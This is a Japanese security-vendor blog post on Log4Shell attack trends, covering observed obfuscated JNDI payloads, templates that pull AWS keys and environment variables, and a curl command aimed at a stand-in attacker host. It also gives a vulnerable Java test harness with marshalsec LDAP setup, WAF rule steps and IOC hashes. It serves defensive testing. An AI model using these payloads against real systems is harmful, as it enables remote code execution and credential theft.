Log4Shell 攻撃 (CVE-2021-44228 + CVE-2021-45046) に関する新しいデータとインサイト

背景

  • この脆弱性にパッチを適用することが、他のどの方法よりも推奨される対策です。

  • この脆弱性は引き続き幅広く悪用されています。

  • WAF をご利用のお客様は、ルールを有効にすることでこの脆弱性から保護されます。

  • CVE-2021-45046 - Log4j 2.15 のパッチが不完全だったため、2.16 がリリースされました

要旨

先週、先日公開された Log4j脆弱性 (通称 Log4Shell)関する詳細と、それを悪用する (あるいは悪用を試みている) 攻撃者の初期所見をまとめた記事を公開しました。攻撃者は脆弱なロギングパイプラインにテキストを送信し、脆弱なホストで任意のコードを実行します。簡単に悪用可能であることと、Log4j のフットプリントが広範囲である (多くの Java ベースのビジネスアプリによってロギングライブラリとして使用されている) ことから、この脆弱性は瞬く間にクリプトマイニングやボットネットキャンペーンにおいて悪用され、攻撃者にとって恰好の市場機会となりました。

log4j-attack-flow

攻撃者は、今後もこの脆弱性を広い範囲で悪用し続けると見られています。そのため、今回は最新データとインサイトを共有することで、エンジニアリングコミュニティがこの脆弱性を悪用した攻撃に対応できるようサポートします。また、最近観測された多くの新たな難読化の手法に対して環境をテストする際のガイダンスについても紹介します。

詳細

前回のトレンドラインでは、最初の24時間 (12月9日15:30 GMT から12月10日15:30 GMT) において攻撃数が急増したことが明らかになりました。この傾向はその後4日間 (12月14日15:30 GMT まで) 加速し続けたことから、攻撃者による脆弱性への関心がが続いていることが示唆されました。このデータは攻撃者と防御者両方の活動に基づくものである一方、インターネット上ではまだ問題が収束していないことが見受けられます。人々はこの脆弱性の悪用による影響を調査しながら、急速に進化する状況に対処しようとしているのが現状です。

trend-line

攻撃者は依然として主に LDAP を標的のプロトコルとしており、その利用は攻撃の86%以上で確認されています。しかし、URI にて JNDI コールバックが許可するプロトコルが利用されていることも判明しました。

attacks by protocol

回避策

この脆弱性に関しては現在世界中のツイッター、フォーラム、グループチャットなどで活発な議論が行われており、関心が高まっています。またこのような議論により、効果的な防御策の開発に役立つ、Log4Shell の悪用者によるセキュリティ対策や監視を回避方法に関する研究も推進されています。

前回の記事でご紹介したペイロードのオリジナルテンプレートは、 ${jndi:ldap://example.com:1234/callback} でした。この文字列は、防御のために簡単にマッチできます。jndi:ldap:// は ${} によってラップされ、両方ともログでの検索やWAFルールのために正規表現を書き込む際に非常に便利な識別子です。ただし、どのパーサーでも、ネストされたステートメントの評価は、テキストの識別において複雑性を増大させてしまう可能性があります。Log4j で使用されるテンプレートパーサーは、ネストされたテンプレートを簡単に展開できるため、異なる手法を同じ文字列に対して評価できます。ログからいくつかの手法を抽出したところ、どれも同じ結果となるため (下記)、攻撃を検出するために単純なヒューリスティックを作成することが難しくなっています。

${jn${lower:d}i:l${lower:d}ap://example.${lower:c}om:1234/callback}
​​${${lower:${lower:jndi}}:${lower:ldap}://example.com:1234/callback}
${${::-j}${::-n}di:${::-l}d${::-a}p://example.com:1234/callback}

情報漏洩

過去4日間で、相当な数の攻撃者がテンプレートを使用して環境変数と Java システムプロパティからデータの抽出を試みていることが確認できました。この手法の例は、${jndi:ldap://example.com:1234/callback/${env:USER} です。

このテンプレートが評価されると、文字列 ${env:USER} は JVMを実行したユーザー名に置き換えられます。Fastly のテレメトリ分析から、固有 URI 全体の35%において、データ抽出に焦点を当てたテンプレートが最低1つ含まれていることがわかりました。攻撃者の間で最も利用されているテンプレートは、以下の通りです。

${env:PATH}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_ACCESS_KEY_ID}
${sys:user.name}
${sys:java.version}
${sys:os.version}
${env:USER}
${java:os}
${date:MM-dd-yyyy}
${date:dd:MM:yyyy}

Web アプリケーション攻撃ツール

初回のテンプレートインジェクションを行うために、少数のテスト用サイトが頻繁に利用されていることが確認されています。これらのサイトは、主に一般的なセキュリティツールと関連しており、研究や認定テストのために合法的に使用される一方で、悪意のある行為者が利用する場合もあります。12月9日から12月14日までに観測された固有 URI の91%は、以下の4つのドメインで占められています。

callback domain

いずれの場合も、サイトはテストを実行するユーザーに関連付けられた一意の識別子であるサブドメインを使用しており、これが一意のインスタンス数に関連しています。通常、このようなサイトはアクティブな LDAP リスナーの実行をサポートしていないため、コールバックが配信されても完全なエクスプロイトチェーンに至ることはありません。それでも攻撃者はレスポンスがうまくトリガーされたというログを受け取ることで、別のツールやサイトを使って攻撃を仕掛けることができます。

ペイロード

初日に配信された初期のペイロードは、単純な情報用コールバックや基本的なコマンドの実行で構成された、シンプルなものでした。ところが、時間が経つにつれて、最終的なペイロードによる攻撃も進化を遂げることになってしまいました。

Fastly では、ホストレベルのコマンドが curl や wget などの Unix コマンドを実行するために Runtime.getRuntime().exec() をコールし続け、さらに最近では PowerShell を実行した痕跡も確認されました。さらに、wget の1つのインスタンスではホストの /etc/hosts ファイルが抽出されており、攻撃先のホストを解読しようとしている攻撃者の意図が明確でした。PowerShell で逆コンパイルされた Java クラスの1つは、HttpURLConnection
を使用して、ホストが属している Active Directory ドメインに関するホストレベルの詳細をアップロードしました。これは攻撃者が、企業に対してスケーラブルなキャンペーンを仕掛けようとしている兆候です。

別のエクスプロイトチェーンでは、攻撃者が DDoS ボットネットの Gafgyt というマルウェアをインストールして実行しようとしている企てが確認されました。本ブログの末尾の「セキュリティ侵害インジケーター (IOC)」にて、確認されたファイルのハッシュとファイル名を公開しています。

解決策


攻撃サンプルのテスト方法

攻撃サンプルの有効性、つまり攻撃サンプルが環境内で攻撃に成功するかどうかを評価することは、困難な作業です。幸い、攻撃サンプルをテストする方法は数多くあります。その中でも、脆弱なサービスに以下の curl コマンドを使用する方法が最も簡単です。波括弧内をご自分のペイロードに置き換え、末尾の部分が WAF で保護されたサービス (Java アプリケーションにログインするサイトなど) を表すようにします。

curl -X GET -H 'User-Agent: ${jndi:ldap://attacker.example.com:1389/a}' 'https://wafprotected.example.com'

このエクスプロイトはダウンストリームのロギングシステムに対して実行されるため、脆弱性のある状態でテストを行う場合は、必ず事前に関係する利害関係者と調整を行なってください。curl の使用に加えて、Burp Suite (Log4Shell スキャナーの作成元)、Postman、WAF テストツールなどの洗練されたツールを使って、これらのサンプルをユーザーエージェント文字列だけではなく、リクエストにて様々な場所に送信することができます。

burpsuite2

上記のスクリーンショットからもわかるように、ペイロードは WAF によって検出され、ブロックされています。

ペイロードの有効性チェック

ペイロードをアプリケーションに正常に送信できたとしても、それだけでは攻撃サンプルが実際にアプリケーションを悪用できるわけではありません。サンプルペイロードの有効性をテストするには、基本的な Java アプリケーションを作成してテストするのが最も簡単な方法です。以下は、テストに使用可能な簡単な Java アプリケーションの例です。

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4jTestHarness {
private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
String userInput = "${jndi:ldap://127.0.0.1:1389/a}";
logger.error("this is a thing {}", userInput);
}
}

始める前に、いくつかの注意事項があります。まず、環境に合わせて com.sun.jndi.ldap.object.trustURLCodebase のシステムプロパティを設定します (上記の例を参照)。最新の Java リリースでは、プロパティのデフォルト値は「false」に設定されていますので、ご注意ください。最も重要な変数は
userInput 値で、悪用する際 Log4j に渡す不正なテストペイロードをここに入力します。

アプリケーションをコンパイルし、実行の準備ができたら、次に LDAP サーバーを立ち上げます。marshalsec などのツールを使用して、このサービスを立ち上げることをお勧めします。リポジトリの説明に従って
marshalsec のクローンを作成しコンパイルし終わったら、以下のコマンドを実行してサーバーを起動します。

java -cp ./target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8888/#Exploit"

marshalsec LDAP サーバーの起動後、コンパイル済みの Log4j テストアプリケーションを実行し、アプリケーションがサービスに接続できることを確認します。JNDI 攻撃ペイロードが成功した場合、以下のような出力が表示されます。

Listening on 0.0.0.0:1389
Send LDAP reference result for a redirecting to
http://localhost:8888/Exploit.class

前回のブログで紹介したように、より詳細なサンプルリポジトリをこちらに用意しましたので、アプリケーション作成の参考にしてください。

Fastly客様への対処

では、WAF によって Log4Shell 攻撃からサイトが効果的に保護されているか確認するには、どうすれば良いでしょうか。そのためには、まずお客様の環境において適切なルールが有効になっていることを確認します。

Fastly (旧 Signal Sciences) の次世代 WAF のお客様は、前回のブログ記事に記載した手順に従ってください。

ルールをデプロイする場合、Fastly Web アプリケーションファイアウォール 2020) をご利用のお客様は以下の操作を行います。

  1. 該当する WAF の Manage Rules ページに移動する

  2. アクティブな WAF バージョンの Clone を作成してドラフトを作成する

  3. 検索スコープを Scope:"Include all" に設定し、CVE-2021-44228 を検索する

  4. Block または Log モードでルールを追加し(Add Rule)、有効化する (Activate)

Fastly では、従来型の WAF をご利用のお客様はこの脅威に対して VCL ベースの対策をデプロイすることも可能です。この設定にてサポートが必要な場合は、CSOC (securitysupport@fastly.com) までご連絡ください。

また、お客様のより強力なフィルタリング機能のご要望にお応えするべく、Fastly では今回の攻撃手口を検出・ブロックするために、より厳格なルールを導入しました。これらの対策のオプションとその適用方法について詳しくは、こちらをご覧ください。

最後に

これらの脆弱性に対しては、パッチ適用が最も推奨される対策であることに変わりはありません。12月14日現在、Apache は Log4j 2.16.0 をリリースしました。これは脆弱性のパッチ適用に加えて、デフォルトで JNDI機能を完全に無効にするものです。さらに、CVE-2021-45046 で概説した JNDI ルックアップの問題も解決します。

この脅威が進化し続ける中、Fastly では今後も状況を監視し、お客様に適切なセキュリティ対策を提案していきます。


セキュリティ侵害インジケーター (IOC)

Java classes
bb6967f006c0680874389c54b2322707a41e16e5 exp.class
0679b5145c208091f06928bb4601940b0efb86bf exploit.class
ff30416ab305aada2a0e3fbbd05ca32e82438f1c Log4jRCE.class
0679b5145c208091f06928bb4601940b0efb86bf exploit.class
5fcff086eafd4bed4e42687427fd00910fe26b1e ExploitD.class
bd97f9eba8b7a879d775714ee1a4a815b73fd210 Exploit.class
dc7d2d19e3893b810be6a5a280a5eed79342367a Runner.class
Dc7d2c3b0286b7d36a1382b6b4dca1afeb5448e2 Runner.class
4c2ddff1ca4003ca5e3ad897363b55c21041155d ExploitD.class
b3651f2e069c9db83f35eda3cc663ecfb8167d99 Exploit.class
DDoS malware delivered through Log4Shell Chain
b1ea87a2db9756bfe8328ac0dd1204c4501e63f4 pty1
12dff86ffceaa394adbd9355e3affe7730b34fa5 pty2
e3eb1e98ca477918154b9ed7bcc2b7fe757c1020 pty3
31516a917e8b1fe083de5f64dbcb413681c62ff2 pty4
4dafb50d1de86068915ed71dcc97f5ccc78f6123 pty5

Fastly のセキュリティリサーチチーム
Fastly セキュリティリサーチチーム
投稿日

この記事は1分で読めます

興味がおありですか?
エキスパートへのお問い合わせ
この投稿を共有する
Fastly のセキュリティリサーチチーム
Fastly セキュリティリサーチチーム

Fastly のセキュリティリサーチチームは、お客様のシステムを安全に保つためのツールやデータを確実に提供することに注力しています。Fastly ならではのスケールで攻撃を分析し、防止することが可能です。セキュリティリサーチチームは、常に進化し続けるセキュリティランドスケープの最先端を行くために、裏方としてお客様を支えるセキュリティエキスパートです。


チームスタッフ



  • Mike Benjamin, Vice President Security Research

  • Simran Khalsa, Senior Security Researcher

  • Kelly Shortridge, Senior Principal, Product Technology

  • Xavier Stevens, Staff Security Researcher